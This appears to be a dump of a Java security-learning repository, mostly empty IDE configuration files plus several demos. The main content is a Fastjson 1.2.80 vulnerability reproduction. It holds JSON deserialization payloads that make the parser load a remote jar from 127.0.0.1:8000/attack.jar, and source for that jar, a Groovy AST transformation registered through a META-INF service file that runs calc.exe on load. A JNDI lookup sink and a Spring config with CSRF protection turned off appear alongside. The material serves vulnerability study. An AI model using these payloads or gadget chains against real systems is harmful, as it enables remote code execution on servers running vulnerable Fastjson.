/.idea/libraries/Maven__org_springframework_spring_aop_5_3_13.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_springframework_spring_aspects_5_3_13.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_springframework_spring_beans_5_3_13.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_springframework_spring_context_5_3_13.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_springframework_spring_core_5_3_13.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_springframework_spring_expression_5_3_13.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_springframework_spring_jcl_5_3_13.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_springframework_spring_jdbc_5_3_13.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_springframework_spring_orm_5_3_13.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_springframework_spring_tx_5_3_13.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_springframework_spring_web_5_3_13.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_springframework_spring_webmvc_5_3_13.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_testng_testng_7_5.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_webjars_bower_js_beautify_1_9_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_webjars_jquery_3_5_1.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_yaml_snakeyaml_1_29.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/lib.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/Applicant.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/Applicant.class
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/ApplicantRepository.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/ApplicantRepository.class
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/HireProcessRestController.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/HireProcessRestController.class
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/LookUpTest.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/LookUpTest.class
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/MyApp.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/MyApp.class
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/ResumeService.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/ResumeService.class
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/WebSecurityConfig.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/WebSecurityConfig.class
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/src/main/java/org/activiti/ApplicantRepository.java:
--------------------------------------------------------------------------------
1 | package org.activiti;
2 |
3 | import org.springframework.data.jpa.repository.JpaRepository;
4 |
5 | public interface ApplicantRepository extends JpaRepository {
6 |
7 | }
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/src/main/java/org/activiti/LookUpTest.java:
--------------------------------------------------------------------------------
1 | package org.activiti;
2 |
3 | import javax.naming.InitialContext;
4 | import javax.naming.NamingException;
5 |
6 | public class LookUpTest {
7 |
8 | public void setLookUpTest(String lookUpTest) throws NamingException {
9 | InitialContext initialContext = new InitialContext();
10 | initialContext.lookup(lookUpTest);
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/src/main/java/org/activiti/ResumeService.java:
--------------------------------------------------------------------------------
1 | package org.activiti;
2 |
3 | import org.springframework.stereotype.Component;
4 |
5 | @Component
6 | public class ResumeService {
7 |
8 | public void storeResume() {
9 | System.out.println("Storing resume ...");
10 | }
11 |
12 | }
13 |
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/src/main/java/org/activiti/WebSecurityConfig.java:
--------------------------------------------------------------------------------
1 | package org.activiti;
2 |
3 | import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;
4 | import org.springframework.security.config.annotation.web.builders.HttpSecurity;
5 | import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
6 | import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
7 |
8 | @EnableGlobalMethodSecurity(prePostEnabled = true)
9 | @EnableWebSecurity
10 | public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
11 | @Override
12 | protected void configure(HttpSecurity http) throws Exception {
13 | http.csrf().disable().anonymous();
14 | }
15 |
16 | }
17 |
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/src/main/resources/application.yml:
--------------------------------------------------------------------------------
1 | server:
2 | port: 8089
3 |
4 | spring:
5 | main:
6 | allow-bean-definition-overriding : true
7 | jpa:
8 | show-sql: true
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/target/classes/application.yml:
--------------------------------------------------------------------------------
1 | server:
2 | port: 8089
3 |
4 | spring:
5 | main:
6 | allow-bean-definition-overriding : true
7 | jpa:
8 | show-sql: true
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/Applicant.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/Applicant.class
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/ApplicantRepository.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/ApplicantRepository.class
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/HireProcessRestController.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/HireProcessRestController.class
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/LookUpTest.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/LookUpTest.class
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/MyApp.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/MyApp.class
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/ResumeService.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/ResumeService.class
--------------------------------------------------------------------------------
/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/WebSecurityConfig.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/WebSecurityConfig.class
--------------------------------------------------------------------------------
/FastJson/FastjsonVulns-main/.gitignore:
--------------------------------------------------------------------------------
1 | target/
2 | !.mvn/wrapper/maven-wrapper.jar
3 | !**/src/main/**/target/
4 | !**/src/test/**/target/
5 |
6 | ### IntelliJ IDEA ###
7 | .idea/modules.xml
8 | .idea/jarRepositories.xml
9 | .idea/compiler.xml
10 | .idea/libraries/
11 | *.iws
12 | *.iml
13 | *.ipr
14 |
15 | ### Eclipse ###
16 | .apt_generated
17 | .classpath
18 | .factorypath
19 | .project
20 | .settings
21 | .springBeans
22 | .sts4-cache
23 |
24 | ### NetBeans ###
25 | /nbproject/private/
26 | /nbbuild/
27 | /dist/
28 | /nbdist/
29 | /.nb-gradle/
30 | build/
31 | !**/src/main/**/build/
32 | !**/src/test/**/build/
33 |
34 | ### VS Code ###
35 | .vscode/
36 |
37 | ### Mac OS ###
38 | .DS_Store
--------------------------------------------------------------------------------
/FastJson/FastjsonVulns-main/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/FastJson/FastjsonVulns-main/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/FastJson/FastjsonVulns-main/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/FastJson/FastjsonVulns-main/README.md:
--------------------------------------------------------------------------------
1 | [Fastjson1.2.80漏洞复现](https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/)
--------------------------------------------------------------------------------
/FastJson/FastjsonVulns-main/src/main/java/Evil.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/FastJson/FastjsonVulns-main/src/main/java/Evil.class
--------------------------------------------------------------------------------
/FastJson/FastjsonVulns-main/src/main/java/Evil.java:
--------------------------------------------------------------------------------
1 | import java.io.IOException;
2 | import org.codehaus.groovy.ast.ASTNode;
3 | import org.codehaus.groovy.control.SourceUnit;
4 | import org.codehaus.groovy.transform.ASTTransformation;
5 | import org.codehaus.groovy.transform.GroovyASTTransformation;
6 |
7 | @GroovyASTTransformation
8 | public class Evil implements ASTTransformation {
9 | public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {
10 | }
11 |
12 | static {
13 | try {
14 | Runtime.getRuntime().exec("cmd.exe /C calc.exe");
15 | } catch (IOException var1) {
16 | throw new RuntimeException(var1);
17 | }
18 | }
19 | }
--------------------------------------------------------------------------------
/FastJson/FastjsonVulns-main/src/main/java/Person.java:
--------------------------------------------------------------------------------
1 | public class Person {
2 |
3 | public String getName() {
4 | return name;
5 | }
6 |
7 | public void setName(String name) {
8 | this.name = name;
9 | }
10 |
11 | public String getSex() {
12 | return sex;
13 | }
14 |
15 | public void setSex(String sex) {
16 | this.sex = sex;
17 | }
18 |
19 | String name;
20 | String sex;
21 |
22 | }
23 |
--------------------------------------------------------------------------------
/FastJson/FastjsonVulns-main/src/main/java/groovy.java:
--------------------------------------------------------------------------------
1 | import com.alibaba.fastjson.JSON;
2 |
3 | import java.io.IOException;
4 |
5 | public class groovy {
6 | private static String poc1 = "{\n" +
7 | " \"@type\":\"java.lang.Exception\",\n" +
8 | " \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
9 | " \"unit\":{}\n" +
10 | "}";
11 |
12 | private static String poc2 = "{\n" +
13 | " \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
14 | " \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
15 | " \"config\":{\n" +
16 | " \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
17 | " \"classpathList\":\"http://127.0.0.1:8000/attack.jar\"\n" +
18 | " }\n" +
19 | "}";
20 |
21 | public static void main(String[] args) throws IOException {
22 | try {
23 | JSON.parseObject(poc1);
24 | } catch (Exception e){}
25 |
26 | JSON.parseObject(poc2);
27 | }
28 |
29 | }
30 |
--------------------------------------------------------------------------------
/FastJson/attack/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Editor-based HTTP Client requests
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/FastJson/attack/.idea/artifacts/attack_jar.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | $PROJECT_DIR$/out/artifacts/attack_jar
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/FastJson/attack/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/FastJson/attack/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/FastJson/attack/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/FastJson/attack/out/artifacts/attack_jar/attack.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/FastJson/attack/out/artifacts/attack_jar/attack.jar
--------------------------------------------------------------------------------
/FastJson/attack/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
7 |
8 |
9 |
10 | 4.0.0
11 | groovy
12 | attack
13 | 1
14 |
15 |
16 | org.codehaus.groovy
17 | groovy-all
18 | 3.0.1
19 | provided
20 | pom
21 |
22 |
23 |
24 |
25 | 8
26 | 8
27 |
28 |
29 |
--------------------------------------------------------------------------------
/FastJson/attack/src/main/java/groovy/grape/GrabAnnotationTransformation2.java:
--------------------------------------------------------------------------------
1 | package groovy.grape;
2 |
3 | import org.codehaus.groovy.ast.ASTNode;
4 | import org.codehaus.groovy.control.CompilePhase;
5 | import org.codehaus.groovy.control.SourceUnit;
6 | import org.codehaus.groovy.transform.ASTTransformation;
7 | import org.codehaus.groovy.transform.GroovyASTTransformation;
8 |
9 | import java.io.IOException;
10 |
11 | @GroovyASTTransformation(phase= CompilePhase.CONVERSION)
12 | public class GrabAnnotationTransformation2 implements ASTTransformation {
13 |
14 | public GrabAnnotationTransformation2() {
15 | try {
16 | Runtime.getRuntime().exec("calc.exe");
17 | } catch (IOException e) {
18 | }
19 | }
20 |
21 | @Override
22 | public void visit(ASTNode[] nodes, SourceUnit source) {
23 |
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/FastJson/attack/src/main/resources/META-INF/services/org.codehaus.groovy.transform.ASTTransformation:
--------------------------------------------------------------------------------
1 | groovy.grape.GrabAnnotationTransformation2
--------------------------------------------------------------------------------
/FastJson/attack/target/attack-1.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/FastJson/attack/target/attack-1.jar
--------------------------------------------------------------------------------
/FastJson/attack/target/classes/META-INF/services/org.codehaus.groovy.transform.ASTTransformation:
--------------------------------------------------------------------------------
1 | groovy.grape.GrabAnnotationTransformation2
--------------------------------------------------------------------------------
/FastJson/attack/target/classes/groovy/grape/GrabAnnotationTransformation2.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/FastJson/attack/target/classes/groovy/grape/GrabAnnotationTransformation2.class
--------------------------------------------------------------------------------
/FastJson/attack/target/maven-archiver/pom.properties:
--------------------------------------------------------------------------------
1 | #Generated by Maven
2 | #Sat Sep 03 18:51:04 CST 2022
3 | groupId=groovy
4 | artifactId=attack
5 | version=1
6 |
--------------------------------------------------------------------------------
/FastJson/attack/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst:
--------------------------------------------------------------------------------
1 | groovy\grape\GrabAnnotationTransformation2.class
2 |
--------------------------------------------------------------------------------
/FastJson/attack/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst:
--------------------------------------------------------------------------------
1 | C:\Users\Administrator\Downloads\fastjsonVul-master\fastjsonVul-master\attack\src\main\java\groovy\grape\GrabAnnotationTransformation2.java
2 |
--------------------------------------------------------------------------------
/FastJson/rce/attack.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/FastJson/rce/attack.jar
--------------------------------------------------------------------------------
/MemShellDemo/src/main/java/com/my/test/TestFilter.java:
--------------------------------------------------------------------------------
1 | package com.my.test;
2 |
3 | import org.springframework.stereotype.Component;
4 |
5 | import javax.servlet.*;
6 | import javax.servlet.annotation.WebFilter;
7 | import java.io.IOException;
8 |
9 | public class TestFilter implements Filter {
10 | @Override
11 | public void init(FilterConfig filterConfig) throws ServletException {
12 | System.out.println("filter初始化");
13 | }
14 |
15 |
16 | @Override
17 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
18 | System.out.println("doFilter过滤");
19 | //放行
20 | chain.doFilter(request,response);
21 | }
22 |
23 | @Override
24 | public void destroy() {
25 | System.out.println("filter销毁");
26 |
27 | }
28 | }
--------------------------------------------------------------------------------
/MemShellDemo/src/main/java/com/my/test/TestFilter1.java:
--------------------------------------------------------------------------------
1 | package com.my.test;
2 |
3 | import javax.servlet.*;
4 | import java.io.IOException;
5 |
6 | public class TestFilter1 implements Filter {
7 | @Override
8 | public void init(FilterConfig filterConfig) throws ServletException {
9 | System.out.println("filter1 the second初始化");
10 | }
11 |
12 |
13 | @Override
14 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
15 | System.out.println("doFilter过滤");
16 | //放行
17 | chain.doFilter(request,response);
18 | }
19 |
20 | @Override
21 | public void destroy() {
22 | System.out.println("filter销毁");
23 |
24 | }
25 | }
--------------------------------------------------------------------------------
/MemShellDemo/src/main/java/com/my/test/TestHttpServelet.java:
--------------------------------------------------------------------------------
1 | package com.my.test;
2 |
3 | import javax.servlet.http.HttpServlet;
4 | import javax.servlet.http.HttpServletRequest;
5 | import javax.servlet.http.HttpServletResponse;
6 |
7 | public class TestHttpServelet extends HttpServlet {
8 | @Override
9 | public void doGet(HttpServletRequest req, HttpServletResponse response)
10 | {
11 |
12 | System.out.println("im in do get");
13 |
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/MemShellDemo/src/main/java/com/my/test/TestListener.java:
--------------------------------------------------------------------------------
1 | package com.my.test;
2 |
3 | import javax.servlet.ServletRequestEvent;
4 | import javax.servlet.ServletRequestListener;
5 |
6 | public class TestListener implements ServletRequestListener {
7 | @Override
8 | public void requestDestroyed(ServletRequestEvent sre) {
9 | System.out.println("执行了TestListener requestDestroyed");
10 | }
11 |
12 | @Override
13 | public void requestInitialized(ServletRequestEvent sre) {
14 | System.out.println("执行了TestListener requestInitialized");
15 | }
16 | }
--------------------------------------------------------------------------------
/MemShellDemo/src/main/java/com/my/test/testServlet.java:
--------------------------------------------------------------------------------
1 | package com.my.test;
2 |
3 | import javax.servlet.*;
4 | import java.io.IOException;
5 |
6 | public class testServlet implements Servlet {
7 |
8 | @Override
9 | public void init(ServletConfig config) throws ServletException {
10 | System.out.println("in my testServlet init");
11 | }
12 |
13 | @Override
14 | public ServletConfig getServletConfig() {
15 | return null;
16 | }
17 |
18 | @Override
19 | public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
20 | System.out.println("in my testServlet service" );
21 | res.getWriter().write("in my testServlet service");
22 | }
23 |
24 | @Override
25 | public String getServletInfo() {
26 | return null;
27 | }
28 |
29 | @Override
30 | public void destroy() {
31 |
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/MemShellDemo/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 |
2 |
3 | Hello World!
4 |
5 |
6 |
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Created-By: IntelliJ IDEA
3 | Built-By: Administrator
4 | Build-Jdk: version 1.8.0_321
5 |
6 |
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestFilter.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestFilter.class
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestFilter1.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestFilter1.class
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestHttpServelet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestHttpServelet.class
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestListener.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestListener.class
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/testServlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/testServlet.class
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-aop-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-aop-5.3.13.jar
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-beans-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-beans-5.3.13.jar
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-context-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-context-5.3.13.jar
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-core-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-core-5.3.13.jar
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-expression-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-expression-5.3.13.jar
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-jcl-5.3.13.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-jcl-5.3.13.jar
--------------------------------------------------------------------------------
/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-web-5.3.13.jar:
--------------------------------------------------------------------------------
